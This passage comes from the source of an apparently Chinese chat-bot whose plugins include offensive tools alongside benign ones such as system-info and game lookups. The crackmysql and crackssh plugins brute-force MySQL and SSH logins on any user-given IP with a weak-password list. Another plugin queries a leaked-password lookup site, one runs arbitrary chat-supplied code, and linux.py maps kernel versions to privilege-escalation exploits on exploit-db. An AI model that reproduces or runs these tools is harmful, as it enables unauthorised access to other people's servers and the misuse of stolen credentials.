40 | len_hex = hex(len(data) / 2).replace("0x", "")
41 | auth_data = len_hex + "000001" + data
42 | return binascii.a2b_hex(auth_data)
43 |
44 |
45 | def check(ip, port, timeout,msg):
46 | socket.setdefaulttimeout(timeout)
47 | user_list = ['root', 'test']
48 | PASSWORD_DIC = ['alpine',
49 | 'ohshit',
50 | '%null%',
51 | '000000',
52 | '111111',
53 | '11111111',
54 | '112233',
55 | '123123',
56 | '123321',
57 | '12345',
58 | '123456',
59 | '1234567',
60 | '12345678',
61 | '654321',
62 | '666666',
63 | '888888',
64 | 'abcdef',
65 | 'abcabc',
66 | 'abc123',
67 | 'a1b2c3',
68 | 'aaa111',
69 | '123qwe',
70 | 'qwerty',
71 | 'qweasd',
72 | 'admin',
73 | 'password',
74 | 'p@ssword',
75 | 'passwd',
76 | 'iloveyou',
77 | '5201314',
78 | 'dragon']
79 | for user in user_list:
80 | for pass_ in PASSWORD_DIC:
81 | try:
82 | pass_ = str(pass_.replace('{user}', user))
83 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
84 | sock.connect((ip, int(port)))
85 | packet = sock.recv(254)
86 | # print packet
87 | plugin, scramble = get_scramble(packet)
88 | auth_data = get_auth_data(user, pass_, scramble, plugin)
89 | sock.send(auth_data)
90 | result = sock.recv(1024)
91 | if result == "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00":
92 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip,user, pass_))
93 | except Exception, e:
94 | if "Errno 10061" in str(e) or "timed out" in str(e):
95 | msg.Reply('扫描异常结束')
96 | return
97 | msg.Reply(ip+' 扫描结束')
98 |
99 |
100 | def work(msg,info):
101 | msg.content = msg.content.strip()
102 | if msg.content.startswith("crackmysql"):
103 | if not info.get('level', 3) < 3:
104 | return False
105 | try:
106 | host = msg.content.split(' ', 1)[-1]
107 | port = '3306'
108 | if host.count(' '):
109 | port = host.split(' ')[-1]
110 | host = host.split(' ')[0]
111 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start()
112 | return '已经添加扫描任务'
113 | except:
114 | return help(info)
115 | else:
116 | return False
117 |
118 |
119 | def help(info):
120 | if not info.get('level',3) < 3:
121 | return False
122 | return '#crackmysql ip [port] 用于爆破mysql'
123 |
--------------------------------------------------------------------------------
/plugin/crackssh.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import paramiko
3 | import threading
4 |
5 |
6 | def check(ip, port, timeout, msg):
7 | user_list = ['share','root', 'admin', 'oracle', 'weblogic']
8 | ssh = paramiko.SSHClient()
9 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
10 | PASSWORD_DIC = ['share','alpine',
11 | 'ohshit',
12 | '000000',
13 | '111111',
14 | '11111111',
15 | '112233',
16 | '123123',
17 | '123321',
18 | '12345',
19 | '123456',
20 | '1234567',
21 | '12345678',
22 | '654321',
23 | '666666',
24 | '888888',
25 | 'abcdef',
26 | 'abcabc',
27 | 'abc123',
28 | 'a1b2c3',
29 | 'aaa111',
30 | '123qwe',
31 | 'qwerty',
32 | 'qweasd',
33 | 'admin',
34 | 'password',
35 | 'p@ssword',
36 | 'passwd',
37 | 'iloveyou',
38 | '5201314',
39 | 'dragon']
40 | for user in user_list:
41 | for pass_ in PASSWORD_DIC:
42 | pass_ = str(pass_.replace('{user}', user))
43 | try:
44 | ssh.connect(ip, port, user, pass_, timeout=timeout)
45 | ssh.close()
46 | if pass_ == '': pass_ = "null"
47 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip, user, pass_))
48 | except Exception, e:
49 | if "Errno 61" in e or "timed out" in e:
50 | msg.Reply('扫描异常结束')
51 | return
52 | msg.Reply(ip + ' 扫描结束')
53 |
54 |
55 | def work(msg,info):
56 | msg.content = msg.content.strip()
57 | if msg.content.startswith("crackssh"):
58 | if not info.get('level', 3) < 3:
59 | return False
60 | try:
61 | host = msg.content.split(' ', 1)[-1]
62 | port = '22'
63 | if host.count(' '):
64 | port = host.split(' ')[-1]
65 | host = host.split(' ')[0]
66 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start()
67 | return '已经添加扫描任务'
68 | except:
69 | return help(info)
70 | else:
71 | return False
72 |
73 |
74 | def help(info):
75 | if not info.get('level',3) < 3:
76 | return False
77 | return '#crackssh ip [port] 用于爆破ssh'
78 |
--------------------------------------------------------------------------------
/plugin/exec.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import os
3 | def work(msg,info):
4 | msg.content=msg.content.strip()
5 | if msg.content.startswith("exec"):
6 | if info.get('level', 3)<1:
7 | try:
8 | _,code=msg.content.split(' ',1)
9 | exec code
10 | return '代码执行完毕'
11 | except Exception,e:
12 | print e
13 | return help(info)
14 | else:
15 | return False
16 | def help(info):
17 | if info.get('level',3)<1:
18 | return "#exec code 执行代码"
19 |
--------------------------------------------------------------------------------
/plugin/findmima.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import urllib2
3 | import urllib
4 |
5 |
6 | def work(msg,info):
7 | if not msg.content.startswith('findmima'):
8 | return False
9 | if not info.get('level',3) < 4:
10 | return False
11 | data = msg.content.split(' ')[-1]
12 | try:
13 | brow = urllib2.build_opener(urllib2.HTTPCookieProcessor())
14 | brow.addheaders = []
15 | brow.addheaders.append(('Referer', 'http://2017.findmima.com/ajax.php?act=select'))
16 | brow.addheaders.append(('User-Agent',
17 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36'))
18 | brow.addheaders.append(('Host', '2017.findmima.com'))
19 | brow.addheaders.append(('Content-Type', 'application/x-www-form-urlencoded'))
20 | brow.addheaders.append(('Accept-Language', 'zh-cn'))
21 |
22 | postdata = urllib.urlencode({'select_act': '3',
23 | 'match_act': '1',
24 | 'key': data,
25 | 'table': 'myspace1'})
26 | ret = brow.open('http://2017.findmima.com/ajax.php?act=select', postdata).read()[3:]
27 | datas = ret.split(';')
28 | result = ''
29 | for x in datas:
30 | try:
31 | info = x[7:-1].split('","')
32 | if result:
33 | result += '\n' + info[1] + ' ' + info[2]
34 | else:
35 | result += info[1] + ' ' + info[2]
36 | except:
37 | pass
38 | if result:
39 | return result
40 | return '没有查到'
41 | except Exception, e:
42 | return help(info)
43 |
44 |
45 | def help(info):
46 | if not info.get('level',3) < 4:
47 | return False
48 | return '#findmima data 查裤子'
49 |
50 |
--------------------------------------------------------------------------------
/plugin/getsysteminfo.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import os
3 | def getCPUtemperature():
4 | res = os.popen('vcgencmd measure_temp').readline()
5 | return(res.replace("temp=","").replace("'C\n",""))
6 | def getRAMinfo():
7 | p = os.popen('free')
8 | i = 0
9 | while 1:
10 | i = i + 1
11 | line = p.readline()
12 | if i==2:
13 | return(line.split()[1:4])
14 | def getCPUuse():
15 | return(str(os.popen("top -n1 | awk '/Cpu\(s\):/ {print $2}'").readline().strip()))
16 | def getDiskSpace():
17 | p = os.popen("df -h /")
18 | i = 0
19 | while 1:
20 | i = i +1
21 | line = p.readline()
22 | if i==2:
23 | return(line.split()[1:5])
24 | def work(msg,info):
25 | if msg.content != 'getsysteminfo':
26 | return False
27 | if not info.get('level',3) < 4:
28 | return False
29 | try:
30 | RAM_stats = getRAMinfo()
31 | DISK_stats = getDiskSpace()
32 | return "CPU温度:"+getCPUtemperature()+"℃\nCPU使用:"+getCPUuse()+\
33 | "%\nRAM总数:"+str(round(int(RAM_stats[0]) / 1000, 1)) + "MB\nRAM使用:"+str(round(int(RAM_stats[1]) / 1000, 1)) +\
34 | "MB\nRAM未用:"+str(round(int(RAM_stats[2]) / 1000, 1)) + "MB\n磁盘总数:"+DISK_stats[0]+\
35 | "\n磁盘使用:"+DISK_stats[1]+"\n磁盘空闲:"+DISK_stats[2]
36 | except Exception,e:
37 | return help()
38 | # return str(e)
39 | def help(info):
40 | if not info.get('level',3) < 4:
41 | return False
42 | return "#getsysteminfo 获取系统信息"
--------------------------------------------------------------------------------
/plugin/jl.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import urllib2
3 | import urllib
4 | import json
5 | import re
6 | import sys
7 |
8 | reload(sys)
9 | sys.setdefaultencoding('utf-8')
10 |
11 | city = {}
12 |
13 |
14 | def load():
15 | global city
16 | for server in re.findall('\{t: ".*?",v: "\d*?",status:"1", display:"1", opt_data_array:\[\]\}', urllib2.urlopen(
17 | 'http://gameact.qq.com/comm-htdocs/js/game_area/bns_server_select.js').read().decode('gbk').encode('utf-8')[
18 | 263:-2949]):
19 | _, name, _, id, _ = server.split('"', 4)
20 | if name.count('(') > 0:
21 | name = name.split('(')[0]
22 | elif name.count('(') > 0:
23 | name = name.split('(')[0]
24 | city[name] = id
25 |
26 |
27 | load()
28 | def getBagua(info):
29 | result=[]
30 | result.append('1 ' + info[1] + ' 2 ' + info[2])
31 | result.append('3 ' + info[3] + ' 4 ' + info[4])
32 | result.append('5 ' + info[5] + ' 6 ' + info[6])
33 | result.append('7 ' + info[7] + ' 8 ' + info[8])
34 | return result
35 |
36 | def getInfo(add, name):
37 | if city.has_key(add):
38 | brow = urllib2.build_opener()
39 | brow.addheaders = [('User-agent',
40 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'),
41 | ('Referer',
42 | 'http://bang.qq.com/tool/bns/jsqb.htm?serverId=' + city.get(add) + '&roleName=' + name)]
43 | print 'http://bang.qq.com/tool/bns/jsqb.htm?serverId=' + city.get(add) + '&roleName=' + name
44 | userinfo = json.loads(brow.open('http://bang.qq.com/ugc1/getJsqbData',
45 | urllib.urlencode({'serverId': city.get(add), 'roleName': name})).read())
46 | result = []
47 | result.append('昵称 : ' + name + ' 等级 : ' + str(userinfo['data']['level']) + ' 级 星级 : ' + str(
48 | userinfo['data']['mlevel']) + " 星")
49 | result.append('种族 : ' + {1: "天", 2: "龙", 3: "灵", 4: "人"}[int(userinfo['data']['race'])] + ' 职业 : ' +
50 | {1: "剑士", 2: "拳师", 3: "气功师", 5: "力士", 6: "召唤师", 7: "刺客", 8: "灵剑士", 9: "咒术师", 10: '气宗师'}[
51 | int(userinfo['data']['job'])])
52 | zhuangbei = userinfo['data']['item']
53 | tmp = ''
54 | for zb in zhuangbei:
55 | if zb['type'] == 'gem':
56 | continue
57 | if tmp == "" or tmp[-1] == '\n':
58 | tmp += zb['name'] + ' '
59 | else:
60 | tmp += zb['name'] + '\n'
61 | result.append(tmp[:-1])
62 | tmp = {}
63 | for zb in zhuangbei:
64 | if zb['type'] != 'gem':
65 | continue
66 | tmp[zb['pos']] = zb['name']
67 | result.extend(getBagua(tmp))
68 | return '\n'.join(result)
69 | else:
70 | return '您输入的参数有误'
71 |
72 |
73 | def work(msg, info):
74 | msg = msg.content.strip()
75 | if msg.startswith("剑灵"):
76 | level = info.get('level', 3)
77 | if level < 4:
78 | try:
79 | _, add, name = msg.split(' ')
80 | return getInfo(add, name)
81 | except Exception, e:
82 | print e
83 | return help(info)
84 | else:
85 | return False
86 |
87 |
88 | def help(info):
89 | if info.get('level', 3)<4:
90 | return "#剑灵 独战群雄 络"
91 |
--------------------------------------------------------------------------------
/plugin/level.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | def work(msg,info):
3 | msg=msg.content.strip()
4 | if msg.startswith("我的权限"):
5 | level=info.get('level', 3)
6 | if level>3:
7 | return '恭喜您,您现在在黑名单'
8 | elif level==3:
9 | return '您的权限是:狗群员'
10 | elif level==2:
11 | return '您的权限是:高级狗群员'
12 | elif level==1:
13 | return '您的权限是:狗管理'
14 | else:
15 | return '您的权限是:超级狗管理'
16 | else:
17 | return False
18 | def help(info):
19 | return "#我的权限 查看自己的权限"
--------------------------------------------------------------------------------
/plugin/linux.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | database = {'w00t': {'vuln': ['2.4.10', '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21']},
3 | 'brk': {'vuln': ['2.4.10', '2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22']},
4 | 'ave': {'vuln': ['2.4.19', '2.4.20']},
5 | 'elflbl': {'vuln': ['2.4.29'],
6 | 'mil': 'http://www.exploit-db.com/exploits/744/'},
7 | 'elfdump': {'vuln': ['2.4.27']},
8 | 'elfcd': {'vuln': ['2.6.12']},
9 | 'expand_stack': {'vuln': ['2.4.29']},
10 | 'h00lyshit': {
11 | 'vuln': ['2.6.8', '2.6.10', '2.6.11', '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16'],
12 | 'cve': '2006-3626',
13 | 'mil': 'http://www.exploit-db.com/exploits/2013/'},
14 | 'kdump': {'vuln': ['2.6.13']},
15 | 'km2': {'vuln': ['2.4.18', '2.4.22']},
16 | 'krad':
17 | {'vuln': ['2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11']},
18 |
19 | 'krad3': {
20 | 'vuln': ['2.6.5', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11'],
21 | 'mil': 'http://exploit-db.com/exploits/1397',
22 | },
23 |
24 | 'local26': {'vuln': ['2.6.13']},
25 | 'loko': {'vuln': ['2.4.22', '2.4.23', '2.4.24']},
26 |
27 | 'mremap_pte': {
28 | 'vuln': ['2.4.20', '2.2.24', '2.4.25', '2.4.26', '2.4.27'],
29 | 'mil': 'http://www.exploit-db.com/exploits/160/',
30 | },
31 |
32 | 'newlocal': {'vuln': ['2.4.17', '2.4.19']},
33 | 'ong_bak': {'vuln': ['2.6.5']},
34 | 'ptrace':
35 | {'vuln': ['2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22']},
36 | 'ptrace_kmod': {
37 | 'vuln': ['2.4.18', '2.4.19', '2.4.20', '2.4.21', '2.4.22'],
38 | 'cve': '2007-4573',
39 | },
40 | 'ptrace_kmod2': {
41 | 'vuln': [
42 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30', '2.6.31',
43 | '2.6.32', '2.6.33', '2.6.34',
44 | ],
45 | 'alt': 'ia32syscall,robert_you_suck',
46 | 'mil': 'http://www.exploit-db.com/exploits/15023/',
47 | 'cve': '2010-3301',
48 | },
49 | 'ptrace24': {'vuln': ['2.4.9']},
50 | 'pwned': {'vuln': ['2.6.11']},
51 | 'py2': {'vuln': ['2.6.9', '2.6.17', '2.6.15', '2.6.13']},
52 | 'raptor_prctl': {
53 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'],
54 | 'cve': '2006-2451',
55 | 'mil': 'http://www.exploit-db.com/exploits/2031/',
56 | },
57 | 'prctl': {
58 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'],
59 | 'mil': 'http://www.exploit-db.com/exploits/2004/',
60 | },
61 | 'prctl2': {
62 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'],
63 | 'mil': 'http://www.exploit-db.com/exploits/2005/',
64 | },
65 | 'prctl3': {
66 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'],
67 | 'mil': 'http://www.exploit-db.com/exploits/2006/',
68 | },
69 | 'prctl4': {
70 | 'vuln': ['2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17'],
71 | 'mil': 'http://www.exploit-db.com/exploits/2011/',
72 | },
73 | 'remap': {'vuln': ['2.4.']},
74 | 'rip': {'vuln': ['2.2.']},
75 | 'stackgrow2': {'vuln': ['2.4.29', '2.6.10']},
76 | 'uselib24': {
77 | 'vuln': ['2.6.10', '2.4.17', '2.4.22', '2.4.25', '2.4.27', '2.4.29']
78 | },
79 | 'newsmp': {'vuln': ['2.6.']},
80 | 'smpracer': {'vuln': ['2.4.29']},
81 | 'loginx': {'vuln': ['2.4.22']},
82 | 'exp.sh': {'vuln': ['2.6.9', '2.6.10', '2.6.16', '2.6.13']},
83 | 'vmsplice1': {
84 | 'vuln': [
85 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22',
86 | '2.6.23', '2.6.24', '2.6.24.1',
87 | ],
88 | 'alt': 'jessica biel',
89 | 'cve': '2008-0600',
90 | 'mil': 'http://www.exploit-db.com/exploits/5092',
91 | },
92 | 'vmsplice2': {
93 | 'vuln': ['2.6.23', '2.6.24'],
94 | 'alt': 'diane_lane',
95 | 'cve': '2008-0600',
96 | 'mil': 'http://www.exploit-db.com/exploits/5093',
97 | },
98 | 'vconsole': {
99 | 'vuln': ['2.6.'],
100 | 'cve': '2009-1046',
101 | },
102 | 'sctp': {
103 | 'vuln': ['2.6.26'],
104 | 'cve': '2008-4113',
105 | },
106 | 'ftrex': {
107 | 'vuln': [
108 | '2.6.11', '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16',
109 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22',
110 | ],
111 | 'cve': '2008-4210',
112 | 'mil': 'http://www.exploit-db.com/exploits/6851',
113 | },
114 | 'exit_notify': {
115 | 'vuln': ['2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29'],
116 | 'mil': 'http://www.exploit-db.com/exploits/8369',
117 | },
118 | 'udev': {
119 | 'vuln': ['2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29'],
120 | 'alt': 'udev <1.4.1',
121 | 'cve': '2009-1185',
122 | 'mil': 'http://www.exploit-db.com/exploits/8478',
123 | },
124 |
125 | 'sock_sendpage2': {
126 | 'vuln': [
127 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9',
128 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15',
129 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21',
130 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27',
131 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33',
132 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1',
133 | '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7',
134 | '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13',
135 | '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19',
136 | '2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25',
137 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30',
138 | ],
139 | 'alt': 'proto_ops',
140 | 'cve': '2009-2692',
141 | 'mil': 'http://www.exploit-db.com/exploits/9436',
142 | },
143 |
144 | 'sock_sendpage': {
145 | 'vuln': [
146 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9',
147 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15',
148 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21',
149 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27',
150 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33',
151 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.0', '2.6.1',
152 | '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6', '2.6.7',
153 | '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12', '2.6.13',
154 | '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18', '2.6.19',
155 | '2.6.20', '2.6.21', '2.6.22', '2.6.23', '2.6.24', '2.6.25',
156 | '2.6.26', '2.6.27', '2.6.28', '2.6.29', '2.6.30',
157 | ],
158 | 'alt': 'wunderbar_emporium',
159 | 'cve': '2009-2692',
160 | 'mil': 'http://www.exploit-db.com/exploits/9435',
161 | },
162 | 'udp_sendmsg_32bit': {
163 | 'vuln': [
164 | '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5', '2.6.6',
165 | '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11', '2.6.12',
166 | '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17', '2.6.18',
167 | '2.6.19',
168 | ],
169 | 'cve': '2009-2698',
170 | 'mil':
171 | 'http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c',
172 | },
173 | 'pipe.c_32bit': {
174 | 'vuln': [
175 | '2.4.4', '2.4.5', '2.4.6', '2.4.7', '2.4.8', '2.4.9',
176 | '2.4.10', '2.4.11', '2.4.12', '2.4.13', '2.4.14', '2.4.15',
177 | '2.4.16', '2.4.17', '2.4.18', '2.4.19', '2.4.20', '2.4.21',
178 | '2.4.22', '2.4.23', '2.4.24', '2.4.25', '2.4.26', '2.4.27',
179 | '2.4.28', '2.4.29', '2.4.30', '2.4.31', '2.4.32', '2.4.33',
180 | '2.4.34', '2.4.35', '2.4.36', '2.4.37', '2.6.15', '2.6.16',
181 | '2.6.17', '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22',
182 | '2.6.23', '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28',
183 | '2.6.29', '2.6.30', '2.6.31',
184 | ],
185 | 'cve': '2009-3547',
186 | 'mil':
187 | 'http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c',
188 | },
189 | 'do_pages_move': {
190 | 'vuln': [
191 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
192 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
193 | '2.6.30', '2.6.31',
194 | ],
195 | 'alt': 'sieve',
196 | 'cve': '2010-0415',
197 | 'mil': 'Spenders Enlightenment',
198 | },
199 | 'reiserfs': {
200 | 'vuln': [
201 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
202 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
203 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34',
204 | ],
205 | 'cve': '2010-1146',
206 | 'mil': 'http://www.exploit-db.com/exploits/12130/',
207 | },
208 | 'can_bcm': {
209 | 'vuln': [
210 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
211 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
212 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
213 | '2.6.36',
214 | ],
215 | 'cve': '2010-2959',
216 | 'mil': 'http://www.exploit-db.com/exploits/14814/',
217 | },
218 | 'rds': {
219 | 'vuln': [
220 | '2.6.30', '2.6.31', '2.6.32', '2.6.33',
221 | '2.6.34', '2.6.35', '2.6.36',
222 | ],
223 | 'mil': 'http://www.exploit-db.com/exploits/15285/',
224 | 'cve': '2010-3904',
225 | },
226 | 'half_nelson': {
227 | 'vuln': [
228 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
229 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
230 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
231 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
232 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
233 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
234 | '2.6.36',
235 | ],
236 | 'alt': 'econet',
237 | 'cve': '2010-3848',
238 | 'mil': 'http://www.exploit-db.com/exploits/6851',
239 | },
240 | 'half_nelson1': {
241 | 'vuln': [
242 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
243 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
244 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
245 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
246 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
247 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
248 | '2.6.36',
249 | ],
250 | 'alt': 'econet',
251 | 'cve': '2010-3848',
252 | 'mil': 'http://www.exploit-db.com/exploits/17787/',
253 | },
254 | 'half_nelson2': {
255 | 'vuln': [
256 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
257 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
258 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
259 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
260 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
261 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
262 | '2.6.36',
263 | ],
264 | 'alt': 'econet',
265 | 'cve': '2010-3850',
266 | 'mil': 'http://www.exploit-db.com/exploits/17787/',
267 | },
268 | 'half_nelson3': {
269 | 'vuln': [
270 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
271 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
272 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
273 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
274 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
275 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
276 | '2.6.36',
277 | ],
278 | 'alt': 'econet',
279 | 'cve': '2010-4073',
280 | 'mil': 'http://www.exploit-db.com/exploits/17787/',
281 | },
282 | 'caps_to_root': {
283 | 'vuln': ['2.6.34', '2.6.35', '2.6.36'],
284 | 'cve': 'n/a',
285 | 'mil': 'http://www.exploit-db.com/exploits/15916/',
286 | },
287 | 'american-sign-language': {
288 | 'vuln': [
289 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
290 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
291 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
292 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
293 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
294 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
295 | '2.6.36',
296 | ],
297 | 'cve': '2010-4347',
298 | 'mil': 'http://www.securityfocus.com/bid/45408/',
299 | },
300 | 'pktcdvd': {
301 | 'vuln': [
302 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
303 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
304 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
305 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
306 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
307 | '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35',
308 | '2.6.36',
309 | ],
310 | 'cve': '2010-3437',
311 | 'mil': 'http://www.exploit-db.com/exploits/15150/',
312 | },
313 | 'video4linux': {
314 | 'vuln': [
315 | '2.6.0', '2.6.1', '2.6.2', '2.6.3', '2.6.4', '2.6.5',
316 | '2.6.6', '2.6.7', '2.6.8', '2.6.9', '2.6.10', '2.6.11',
317 | '2.6.12', '2.6.13', '2.6.14', '2.6.15', '2.6.16', '2.6.17',
318 | '2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
319 | '2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.28', '2.6.29',
320 | '2.6.30', '2.6.31', '2.6.32', '2.6.33',
321 | ],
322 | 'cve': '2010-3081',
323 | 'mil': 'http://www.exploit-db.com/exploits/15024/',
324 | },
325 | 'memodipper': {
326 | 'vuln': [
327 | '2.6.39', '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4',
328 | '3.0.5', '3.0.6', '3.1.0',
329 | ],
330 | 'cve': '2012-0056',
331 | 'mil': 'http://www.exploit-db.com/exploits/18411/',
332 | },
333 | 'semtex': {
334 | 'vuln': [
335 | '2.6.37', '2.6.38', '2.6.39', '3.0.0', '3.0.1', '3.0.2',
336 | '3.0.3', '3.0.4', '3.0.5', '3.0.6', '3.1.0',
337 | ],
338 | 'cve': '2013-2094',
339 | 'mil': 'http://www.exploit-db.com/download/25444/'
340 | },
341 | 'perf_swevent': {
342 | 'vuln': [
343 | '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5',
344 | '3.0.6', '3.1.0', '3.2', '3.3', '3.4.0', '3.4.1',
345 | '3.4.2', '3.4.3', '3.4.4', '3.4.5', '3.4.6', '3.4.8',
346 | '3.4.9', '3.5', '3.6', '3.7', '3.8.0', '3.8.1',
347 | '3.8.2', '3.8.3', '3.8.4', '3.8.5', '3.8.6', '3.8.7',
348 | '3.8.8', '3.8.9',
349 | ],
350 | 'cve': '2013-2094',
351 | 'mil': 'http://www.exploit-db.com/download/26131',
352 | },
353 | 'msr': {
354 | 'vuln': [
